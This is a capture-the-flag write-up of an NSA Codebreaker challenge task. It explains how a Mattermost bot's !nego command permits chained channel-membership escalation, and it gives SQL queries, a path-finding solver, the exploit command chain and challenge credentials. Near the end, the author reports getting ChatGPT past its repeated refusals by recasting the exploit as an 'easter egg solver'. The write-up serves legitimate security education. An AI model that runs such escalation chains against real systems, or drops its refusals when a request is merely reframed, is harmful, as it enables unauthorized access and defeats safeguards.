nsa-codebreaker Hard

Task 6 - Maintaining Access

This is part of a series on the 2025 NSA Codebreaker Challenge. Start from the beginning.

Challenge

This high visibility investigation has garnered a lot of agency attention. Due to your success, your team has designated you as the lead for the tasks ahead. Partnering with CNO and CYBERCOM mission elements, you work with operations to collect the persistent data associated with the identified Mattermost instance. Our analysts inform us that it was obtained through a one-time opportunity and we must move quickly as this may hold the key to tracking down our adversary!

We have managed to create an account but it only granted us access to one channel. The adversary doesn’t appear to be in that channel.

We will have to figure out how to get into the same channel as the adversary. If we can gain access to their communications, we may uncover further opportunity.

You are tasked with gaining access to the same channel as the target. The only interface that you have is the chat interface in Mattermost!

Objective: Submit a series of commands, one per line, that will allow you to gain access to the adversary’s channel.

Provided files:

  • volumes.tar.gz – Mattermost instance data (bot code + PostgreSQL database)
  • user.txt – Login credentials

The Wrong Rabbit Hole: Hunting for a Mattermost CVE

My first instinct was completely wrong, and it cost me hours.

The challenge gave us a full Mattermost instance with a PostgreSQL database. I figured the vulnerability had to be in Mattermost itself – some CVE in the version they were running. I started digging into recent Mattermost vulnerabilities and found CVE-2025-25279, a path traversal vulnerability that looked promising. I even developed an exploit for it (and found what appeared to be a zero-day in the process).

None of this was the right answer. The vulnerability wasn’t in Mattermost – it was in the bot code running on top of it.

The irony: the Mattermost exploitation skills I developed here ended up being directly useful in Task 7, where I needed a completely separate exploit against a different Mattermost component. But for Task 6, I was massively overthinking it.

What We’re Working With

Extracting volumes.tar.gz reveals two components:

volumes/
├── bot/
│   ├── bot.py                    # Main bot entry point
│   ├── plugin_sales.py           # THE VULNERABLE PLUGIN
│   ├── plugin_admin.py           # !util df/uptime/free (mod/admin only)
│   ├── plugin_managechannel.py   # !delete nonpinned
│   ├── plugin_onboarding.py      # Welcome announcements
│   ├── malware_database.py       # Pickle-based offering/sale DB
│   └── mmpy_bot_monkeypatch.py   # Adds allowed_users_glob + no_direct
└── db/
    └── var/lib/postgresql/data/  # PostgreSQL 13 data directory

The Mattermost bot – a Python bot using mmpy_bot with five plugins:

  • SalesPlugin – marketplace operations (offerings, sales, negotiations)
  • AdminPlugin – server utilities (!util df, !util uptime, !util free)
  • ManageChannelPlugin – channel post management
  • OnboardingPlugin – welcome announcements
  • HelpPlugin – standard help

The PostgreSQL database – full Mattermost state including users, channels, memberships, and messages.

Credentials:

exactinglion12:SnopSzYVSfohyjAN
admin_murkymare59:SnopSzYVSfohyjAN

We start as exactinglion12 with access to only the public channel. The adversary is in a private channel somewhere in the instance, and we need to reach them.

Standing Up the Instance

To work with the data, I stood up the full stack locally with Docker Compose – PostgreSQL using the provided data directory, Mattermost 7.8 on top, and the Python bot:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
services:
  db:
    image: postgres:13
    volumes:
      - ./extracted/volumes/db/var/lib/postgresql/data:/var/lib/postgresql/data
    environment:
      POSTGRES_HOST_AUTH_METHOD: trust
    ports:
      - "5433:5432"

  mattermost:
    image: mattermost/mattermost-enterprise-edition:7.8
    depends_on:
      - db
    environment:
      MM_SQLSETTINGS_DRIVERNAME: postgres
      MM_SQLSETTINGS_DATASOURCE: "postgres://mmuser:mostest@db:5432/mattermost?sslmode=disable"
    ports:
      - "8065:8065"

  bot:
    build: ./extracted/volumes/bot
    depends_on:
      - mattermost
    environment:
      MATTERMOST_URL: "http://mattermost"
      MATTERMOST_PORT: "8065"
      BOT_TOKEN: "<generated via API>"
      BOT_TEAM: "malwarecentral"

The PostgreSQL data directory needed ownership fixed (chown -R 999:999) and a password set for mmuser since the DB uses md5 auth for TCP connections. Bot token was generated through the Mattermost API after logging in as the admin account.

Database Reconnaissance

With PostgreSQL running, I could query the Mattermost database directly to understand the landscape.

Identifying the team:

1
2
SELECT name, display_name FROM teams;
-- malwarecentral | Malware Central

Identifying the target – who is admin_murkymare59 and where are they?

1
2
3
4
5
SELECT c.name, c.displayname, c.type
FROM channelmembers cm
JOIN channels c ON cm.channelid = c.id
JOIN users u ON cm.userid = u.id
WHERE u.username = 'admin_murkymare59';
    name     |  displayname  | type
-------------+---------------+------
 channel5029 | Channel 5029  | P      <-- only private channel with admin

The adversary (admin_murkymare59) is exclusively in channel5029 (ID: ppa8ijsoyff8zrjjrsf465yxdc) – a private channel.

Mapping the full channel landscape:

1
2
3
4
5
6
SELECT c.name, COUNT(*) as members, c.type
FROM channelmembers cm
JOIN channels c ON cm.channelid = c.id
WHERE c.type IN ('O','P')
GROUP BY c.name, c.type
ORDER BY c.name;

This revealed 25 channels (1 open, 24 private) with 12-15 members each. 19 total users, 5 of which are moderators (mod_* prefix). Our user exactinglion12 is only in public, which has 9 members.

Extracting membership data for the solver:

1
2
3
4
5
6
7
8
COPY (
  SELECT c.id as channel_id, u.username
  FROM channelmembers cm
  JOIN channels c ON cm.channelid = c.id
  JOIN users u ON cm.userid = u.id
  WHERE c.type IN ('O','P')
  ORDER BY c.id, u.username
) TO STDOUT WITH CSV HEADER;

This produced 345 rows of channel-user pairs in membership.csv.

The Vulnerability: !nego Channel Hopping

After spinning my wheels on Mattermost CVEs, I fed the bot’s Python source code into ChatGPT and asked it to analyze for vulnerabilities. It immediately spotted the issue in plugin_sales.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
@listen_to('^!nego (.*)$', no_direct=True)
def handle_nego(self, message, *args):
    args = message.text.strip().split()
    # !nego channel_name user2 user3 mod_user4
    ...
    # Check: all 4 users must be in the CURRENT channel
    current_members_ids = [m['user_id'] for m in
        self.driver.channels.get_channel_members(message.channel_id)]
    if not (user_ids[0] in current_members_ids and ...):
        self.driver.reply_to(message, f"Could not find users")
        return

    # Check: NONE of the 4 users can already be in the TARGET channel
    existing_members = self.driver.channels.get_channel_members(channel_id)
    existing_member_user_ids = [member.get('user_id') for member in existing_members]
    existing_user_ids = any(uid in user_ids for uid in existing_member_user_ids)
    if existing_user_ids:
        return

    # If both pass: add ALL 4 users to the target channel
    for uid in user_ids:
        self.driver.channels.add_channel_member(channel_id, {"user_id": uid})

The !nego command is designed for creating negotiation channels for malware deals. The rules are:

  1. You need exactly 4 users (yourself + 3 others)
  2. One must be a moderator (mod_* prefix)
  3. All 4 must be in the channel where you run the command
  4. None of the 4 can already be in the target channel

If all conditions pass, all 4 users get added to the target channel. The critical insight: after being added to a new channel, your pool of co-located users expands, letting you chain !nego commands to hop through the channel graph until you reach the adversary.

The Graph Problem

This is a graph traversal problem. The Mattermost instance has 25 channels with various overlapping memberships. Starting from public, we need to find a chain of !nego hops that eventually lands us in the adversary’s private channel.

The constraints make it non-trivial:

  • Each hop requires 3 companions from the current channel who are not in the destination channel
  • At least one companion must be a mod_* user
  • Each successful hop changes the state of the graph (new members in channels), so the valid moves shift after every step

Automating the Solution

ChatGPT identified the vulnerability but then refused to help exploit it (multiple times). I eventually tricked it into building me an “easter egg solver” – framing it as a puzzle game rather than an exploit. The resulting easter_egg_solver.py uses a beam-search BFS:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def find_path(csv_path, start_room, target_room, user="exactinglion12",
              max_depth=8, beam=200, max_trios_per_edge=20):
    # Beam BFS on dynamic memberships
    frontier = [(members0, [])]
    visited = set([state_signature(members0)])

    for depth in range(max_depth + 1):
        # Check for direct finish from any room the user is in
        for members, path in frontier:
            for r in user_rooms(members, user):
                trio = attempt_direct_finish(members, user, target_room, r)
                if trio:
                    return path + [(r, target_room, trio)]

        # Expand: try all (src, dest) pairs for the user
        candidates = []
        for members, path in frontier:
            for src in user_rooms(members, user):
                for dest in members.keys():
                    if user in members.get(dest, set()):
                        continue
                    for trio in valid_trios(members, user, src, dest):
                        new_members = apply_move(members, user, dest, trio)
                        score = heuristic_score(new_members, user, target_room)
                        candidates.append((score, new_members, new_path))

        # Beam prune: keep top candidates by heuristic
        candidates.sort(key=lambda x: x[0], reverse=True)
        frontier = [(m, p) for _, m, p in candidates[:beam]]

The heuristic prioritizes states where the user shares a channel with many users who aren’t in the target channel (especially mod_* users), making it more likely the next hop will succeed.

Running the solver:

1
2
3
4
5
6
$ python easter_egg_solver.py \
    --csv membership.csv \
    --start uke4ocmfe3bgifgpguwwwt567r \
    --target ppa8ijsoyff8zrjjrsf465yxdc \
    --user exactinglion12 \
    --max_depth 10 --beam 300 --max_trios 25 -v
[DEPTH 0] frontier size=1
[DEPTH 1] frontier size=1
[DEPTH 2] frontier size=1
[DEPTH 3] frontier size=1
Found path!

Hop 1:  from public (uke4ocm...)  ->  channel63742 (7omdf8...)
        with [mod_boredwidgeon62, thrilledchile62, dopeyhawk97]
Hop 2:  from channel63742  ->  channel88850 (ud9dn9...)
        with [mod_forsakensheep16, dopeyhawk97, sincerelemur69]
Hop 3:  from channel88850  ->  channel14957 (dbwdu4...)
        with [mod_pridefuldunbird17, murkypepper59, sincerelemur69]
Hop 4:  from channel14957  ->  channel5029 (ppa8ij...)  [TARGET]
        with [mod_scornfulwidgeon81, wrathfulthrush32, murkypepper59]

4 hops. The solver found it at depth 3 (with the 4th hop being the direct finish).

Answer

The submission was these four !nego commands, each run in the channel you just hopped into:

!nego channel63742 thrilledchile62 dopeyhawk97 mod_boredwidgeon62
!nego channel88850 dopeyhawk97 sincerelemur69 mod_forsakensheep16
!nego channel14957 murkypepper59 sincerelemur69 mod_pridefuldunbird17
!nego channel5029 wrathfulthrush32 murkypepper59 mod_scornfulwidgeon81

The chain visualized:

public ──[hop 1]──> channel63742 ──[hop 2]──> channel88850
                                                    │
channel5029 (TARGET) <──[hop 4]── channel14957 <──[hop 3]──┘

Each !nego command runs in the channel the user is currently in and adds them (plus 3 companions) to the target channel. After each hop, the user’s reach expands – new co-located users become available as companions for the next hop.

Live Verification

To validate the solution end-to-end, I stood up the full Mattermost stack and ran the exploit chain through the API:

=== HOP 1: public -> channel63742 ===
  POST created: xn4c8gojz7d5pkcq1aypdn47ch
  SUCCESS: We are now in channel63742!

=== HOP 2: channel63742 -> channel88850 ===
  POST created: atwfw4naobn1jjgjdhmgnxjzie
  SUCCESS: We are now in channel88850!

=== HOP 3: channel88850 -> channel14957 ===
  POST created: i35e9upwttyx7mr33qw5nwtzjr
  SUCCESS: We are now in channel14957!

=== HOP 4: channel14957 -> channel5029 ===
  POST created: wqsajxh917gmfcrfh58cgrsq4y
  SUCCESS: We are now in channel5029!

With access to the adversary’s channel, we can now read their communications:

[thrilledchile62]: I think we can get in
[dopeyhawk97]:     Where?
[thrilledchile62]: Something called the 'Cyber Operations Squadron'
[dopeyhawk97]:     Is that the US Military
[thrilledchile62]: Yeah.
[dopeyhawk97]:     You are crazy!
[dopeyhawk97]:     Better ask the boss
[admin_murkymare59]: Excellent idea! We would all be rich with the amount
                     of money we could sell this access for!
[admin_murkymare59]: I will get in touch with a sucker to host files for
                     us just in case. Make sure to use our mobile app to
                     ensure you don't miss any communication. You don't
                     want to make mistakes.

The adversaries are planning to sell access to a US military Cyber Operations Squadron. This intel becomes the foundation for the remaining tasks.

Takeaways

  • Read the application code before hunting for CVEs. I wasted hours looking for Mattermost platform vulnerabilities when the bug was in seven lines of bot plugin code. The challenge said “the only interface you have is the chat interface” – that was a hint to focus on bot commands, not the platform.
  • Authorization logic bugs are subtle. The !nego command individually validates every condition correctly – valid users, mod requirement, current channel membership, no existing membership in target. But the composition of these checks allows privilege escalation through iterative channel traversal.
  • Graph search is the right mental model. Once you recognize this as a BFS/pathfinding problem with dynamic state, the solver writes itself. The tricky part is that each move changes the graph, so you can’t precompute paths – you need to simulate the state at each step.
  • LLMs are good at spotting code vulnerabilities. ChatGPT found the !nego bug in seconds when I fed it the source. It then refused to help exploit it (repeatedly), which is ironic given it’s an NSA educational challenge – but “easter egg solver” got around that.